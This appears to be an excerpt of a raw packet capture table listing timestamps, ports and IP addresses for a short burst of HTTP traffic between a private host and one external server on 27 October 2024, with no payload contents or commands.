Oct 27, 2024 02:03:19.452357054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.452394009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.452464104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452472925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452500105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.452646971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452656984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452666998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452676058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.452701092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.452728033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.453084946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.453094959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.453104973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.453131914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.453142881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.453154087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.453186989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.463680029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.463695049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.463706017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.463736057 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.463759899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.463814020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.463823080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.463951111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.526508093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.526520967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.526531935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.526567936 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.526617050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.526628017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.526638031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.526669979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.526685953 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.527067900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527076960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527113914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.527134895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527144909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527179003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.527302980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527318001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527328968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527364016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.527611971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527621984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527631998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527653933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.527679920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.527916908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527928114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527936935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.527955055 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.569233894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.570753098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.570836067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.570844889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.570853949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.570877075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.570911884 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.571027994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571043968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571054935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571063995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571079016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.571110010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.571444988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571490049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571532011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.571588039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571616888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571626902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.571660042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.572040081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.572051048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.572060108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.572082043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.572108984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.582185984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.582194090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.582236052 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.582262039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.582271099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.582300901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.624982119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.625027895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.625063896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.625098944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.625129938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.625161886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.645183086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645219088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645253897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645262003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.645302057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645351887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645353079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.645421028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645462990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.645471096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645697117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645754099 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.645807981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645836115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645868063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645914078 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.645931959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.645981073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.645996094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.646110058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.646157026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.646162987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.646194935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.646228075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.646249056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.646609068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.646648884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.646662951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.646682024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.646941900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.689467907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.689538956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.689589977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.689621925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.689637899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.689666986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.689672947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.689704895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.689738989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.689753056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.689773083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.690191031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.690223932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.690234900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.690265894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.690273046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.690304995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.690359116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.690393925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.690399885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.690435886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.700907946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.700942039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.700974941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.700984001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.741195917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.743386984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.743422031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.743453979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.743479967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.763726950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.763760090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.763792038 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.763793945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.763838053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.763894081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.763926029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.763958931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764000893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.764317989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764350891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764360905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.764384031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764417887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764458895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.764468908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764499903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764509916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.764769077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764801979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764841080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.764843941 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.764883995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.765062094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.765094042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.765144110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.765186071 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.808206081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.808239937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.808264971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.808274031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.808325052 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.808377028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.808409929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.808442116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.808484077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.808733940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.808779955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.808790922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.808811903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809066057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809098959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809109926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.809132099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809138060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.809165001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809196949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809238911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.809576988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809608936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809650898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.809659958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.809703112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.820378065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.820550919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.820580006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.820614100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.820632935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.820714951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.861983061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.862014055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.862065077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.862072945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.862107038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.862191916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.882615089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.882647991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.882679939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.882704020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.882750988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.882780075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.882826090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.882951021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.882980108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.882994890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.883095026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883122921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883162975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.883294106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883338928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883341074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.883455992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883488894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883521080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883533001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.883569956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.883780003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883812904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883845091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.883889914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.884130955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.884164095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.884172916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.884294033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.884326935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.884373903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.927500963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927536011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927586079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927618027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927649975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927660942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.927680969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927704096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.927715063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927762985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927794933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927805901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.927829027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.927836895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.928294897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.928365946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.928396940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.928409100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.928428888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.928436995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.928459883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.928492069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.928531885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.938657045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.938684940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.938709021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.938718081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.938750982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.938769102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.980849981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.980870962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.980896950 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:19.980920076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.980933905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:19.980957985 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002078056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002132893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002249002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002284050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002316952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002362967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002367973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002403975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002404928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002438068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002471924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002489090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002502918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002537012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002547026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002571106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002604961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002638102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002660990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002671003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002688885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002705097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002739906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002790928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002871990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002904892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002918005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.002939939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.002988100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.045403957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045464039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045519114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045572042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045572042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.045608044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045641899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045656919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.045676947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045679092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.045711040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045744896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.045768023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.045780897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.046298981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.046339989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.046351910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.046386003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.046395063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.046422005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.046457052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.046497107 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.046957016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.046992064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.047002077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.047029018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.047725916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.056900024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.056930065 CET	80	49738	185.215.113.16	192.168.2.4
